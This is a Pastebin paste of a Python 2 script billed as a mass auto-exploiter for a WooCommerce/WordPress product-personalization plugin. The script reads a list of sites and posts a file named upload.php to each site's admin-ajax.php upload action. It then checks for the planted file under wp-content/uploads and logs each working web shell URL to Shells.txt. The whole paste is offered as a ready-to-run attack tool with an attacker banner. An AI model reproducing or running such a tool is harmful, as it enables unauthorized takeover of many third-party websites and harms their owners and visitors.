Mr1337Joker

WooCommerce ( WordPress ) Auto Exploiter ( Mass )

Nov 20th, 2016
2,128
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.34 KB | None | 0 0
  1. import re , urllib2 , os , requests , sys
  2. from platform import system
  3. if system() == 'Linux':
  4.     os.system('clear')
  5. if system() == 'Windows':
  6.     os.system('cls')
  7. site = []
  8. filname = '1.zip'
  9. banner = '''
  10.  
  11. ,--.   ,--.            ,--.       ,--.
  12. |   `.'   |,--.--.     |  | ,---. |  |,-. ,---. ,--.--.
  13. |  |'.'|  ||  .--',--. |  || .-. ||     /| .-. :|  .--'
  14. |  |   |  ||  |   |  '-'  /' '-' '|  \ \\   --.|  |
  15. `--'   `--'`--'    `-----'  `---' `--'`--'`----'`--'
  16.  
  17. =====================================================================
  18. || Welcome To woocommerce Plugin ( WordPress ) Auto Mass Exploiter ||
  19. =====================================================================
  20. || Coded By : MrJoker - Libyan Attacker                            ||
  21. =====================================================================
  22. || Skype : live:mr9_9 - Face : 1337MrJoker                         ||
  23. =====================================================================
  24. '''
  25. def exploit(site):
  26.     try:
  27.             print "[!]-> Scanning : " + site
  28.             global filname
  29.             url = site + '/wp-admin/admin-ajax.php'
  30.             post = {'action': 'nm_personalizedproduct_upload_file', 'name': 'upload.php'}
  31.             files = {'file': (filname, open(filname, 'rb'), 'multipart/form-data')}
  32.             req = requests.post(url, files=files,data=post)
  33.             if req.status_code == 200 or 'success' in req.text:
  34.                 url = url.replace('/wp-admin/admin-ajax.php', '/wp-content/uploads/product_files/upload.php')
  35.                 openbing = urllib2.urlopen(url)
  36.                 readbing = openbing.read()
  37.                 if re.findall("izocin", readbing):
  38.                     print ("[#]=> %s [ ok ]" % url)
  39.                     with open("Shells.txt", 'a') as neo:
  40.                         neo.write("[#]=> %s [ ok ]" % url)
  41.                         neo.write("\n")
  42.     except:
  43.         pass
  44. def unique(seq):
  45.     seen = set()
  46.     return [seen.add(x) or x for x in seq if x not in seen]
  47. def main():
  48.     print banner
  49.     try:
  50.         listtt = sys.argv[1]
  51.         filex = open(listtt).readlines()
  52.         if (len(filex) > 0):
  53.             for attack in filex:
  54.                 _attack = attack.rstrip()
  55.                 exploit(_attack)
  56.     except:
  57.         print "[*] Usage : python " + sys.argv[0] + " Name Of List ( Ex : list.txt )"
  58. main()
Advertisement
Add Comment
Please, Sign In to add comment